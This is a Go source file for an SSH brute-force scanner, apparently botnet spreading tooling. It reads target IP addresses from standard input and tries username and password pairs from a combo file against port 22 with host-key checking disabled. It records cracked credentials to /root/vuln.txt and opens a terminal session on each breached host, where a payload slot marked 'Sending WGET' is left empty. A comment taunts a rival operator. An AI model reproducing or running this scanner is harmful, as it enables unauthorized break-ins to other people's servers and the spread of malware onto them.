package main import ( "golang.org/x/crypto/ssh" "os" "strings" "sync" "bufio" "fmt" ) var ( Completed bool = false ipaddrs = []string{} // lets setup so we dont dup brutes group sync.WaitGroup ) func high(address string, username string, password string) { sshConfig := &ssh.ClientConfig{ User: username, Auth: []ssh.AuthMethod{ ssh.Password(password)}, HostKeyCallback: ssh.InsecureIgnoreHostKey(), } connection, err := ssh.Dial("tcp", fmt.Sprintf("%s:%d", address, 22), sshConfig) if err != nil { group.Done() return } for v:= range ipaddrs { if address == ipaddrs[v] { ipaddrs = append(ipaddrs, address) // add our ip address to the table after we find out we are not a dup fmt.Printf("\x1b[31m[%s] Notice: Already bruted ip %s:%s' - exiting\r\n\x1b[37m", ipaddrs[v],username, password) group.Done() return } } ipaddrs = append(ipaddrs, address) // add our ip address to the table after we find out we are not a dup save_file, err := os.OpenFile("/root/vuln.txt", os.O_CREATE|os.O_APPEND|os.O_WRONLY, 0644) if err != nil { group.Done() return } defer save_file.Close() string := fmt.Sprintf("%s:%s:%s\n", address, username, password) _, err = save_file.WriteString(string) if err != nil { group.Done() return } session, err := connection.NewSession() if err != nil { fmt.Printf("\x1b[31m[%s:22] Error: Failed to create session err : %s\n\x1b[37m", err) group.Done() return } modes := ssh.TerminalModes{ ssh.ECHO: 0, // disable echoing ssh.TTY_OP_ISPEED: 14400, // input speed = 14.4kbaud ssh.TTY_OP_OSPEED: 14400, // output speed = 14.4kbaud } if err := session.RequestPty("xterm", 80, 40, modes); err != nil { fmt.Printf("\x1b[31m[%s:22] Error: request for pseudo terminal failed: \n\x1b[37m", err) session.Close() group.Done() return } fmt.Printf("\x1b[32m[%s:22] [ BRUTED ] %s:%s\n\x1b[37m", address, username, password) session.Run("") // payload here fmt.Printf("\x1b[32m[%s] [ NOTICE ] Sending WGET\n\x1b[37m", address) session.Close() group.Done() return } func main() { fmt.Printf("\x1b[31mScanner Started, Reading Stdin\r\n") for { // 20k is ur daddy - @urharmful try to remove ur dead reader := bufio.NewReader(os.Stdin) address := bufio.NewScanner(reader) for address.Scan() { combo, err := os.Open("combo.txt") if err != nil { fmt.Printf("\x1b[31m[ERROR] [%s]\n", err) } defer combo.Close() comboscan := bufio.NewScanner(bufio.NewReader(combo)) comboscan.Split(bufio.ScanLines) for comboscan.Scan(){ combo := strings.Split(comboscan.Text(), " ") group.Add(1) go high(address.Text(), combo[0], combo[1]) } } } }